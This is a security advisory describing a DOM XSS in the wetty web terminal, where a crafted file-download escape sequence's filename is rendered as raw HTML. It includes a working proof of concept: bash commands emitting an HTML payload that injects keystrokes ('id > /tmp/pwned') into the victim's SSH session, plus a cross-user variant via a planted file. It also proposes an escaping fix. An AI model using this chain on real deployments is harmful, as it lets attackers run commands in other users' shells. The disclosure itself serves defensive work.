wetty vulnerable to DOM XSS via file-download filename ### Summary The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\x1b[5i...:...\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. ### Preconditions - Victim has wetty open with an active SSH session. - Attacker delivers the file-download escape sequence (`\x1b[5i:\x1b[4i`) into output the victim's terminal renders. - Default configuration; no non-default flags required. ### Details ```typescript // src/client/wetty.ts:37, 46-62 const fileDownloader = new FileDownloader(); // ... socket.on('data', (data: string) => { const remainingData = fileDownloader.buffer(data); // every PTY byte forwarded by the server passes through buffer() // ... }) ``` Every byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\x1b[5i` (begin) and `\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`. ```typescript // src/client/wetty/download.ts:9-77 function onCompleteFile(bufferCharacters: string): void { let fileNameBase64; let fileCharacters = bufferCharacters; if (bufferCharacters.includes(':')) { [fileNameBase64, fileCharacters] = bufferCharacters.split(':'); } // ... void detectAndDownload(bytes, fileCharacters, fileNameBase64); } async function detectAndDownload(/* ... */): Promise { // ... let fileName; try { if (fileNameBase64 !== undefined) { fileName = window.atob(fileNameBase64); // attacker-controlled } } catch { /* ... */ } fileName ??= `file-${ /* timestamp default */ }`; // ... Toastify({ text: `Download ready: ${fileName}`, // sink duration: 10000, // ... escapeMarkup: false, }).showToast(); } ``` `fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js's `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim's SSH session. ### Proof of concept **Setup** 1. Bring up wetty and its bundled SSH host from a fresh clone: ```bash git clone https://github.com/butlerx/wetty cd wetty docker compose up -d sleep 5 ``` 2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container. **Exploit** 1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly: ```bash PAYLOAD='">

/tmp/pwned\\n\",true)">' FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0) DATA_B64=$(printf 'bait' | base64 -w0) printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" ``` Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `` element with the `onerror` handler. 2. The `onerror` handler calls `window.wetty_term.input("id > /tmp/pwned\n", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id > /tmp/pwned` as the connected user: ```bash cat /tmp/pwned ``` Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`. 3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty: ```bash # As the low-priv user on the SSH host printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt ``` When the higher-privileged user's wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user's shell. ### Impact - **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`. - **Integrity:** Types attacker-chosen commands into the victim's SSH session via `window.wetty_term.input()`. - **Auth:** A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user. ### Suggestions to fix > _This has not been tested - it is illustrative only._ HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at `src/client/wetty/download.ts:67-77`. ```diff fileName ??= `file-${new Date() .toISOString() .split('.')[0] .replace(/-/g, '') .replace('T', '') .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`; + const safeName = fileName.replace(/[&<>"']/g, (c) => + ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c, + ); const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType }); const blobUrl = URL.createObjectURL(blob); Toastify({ - text: `Download ready: ${fileName}`, + text: `Download ready: ${safeName}`, duration: 10000, ```

CVE-2026-49864 Blast Radius

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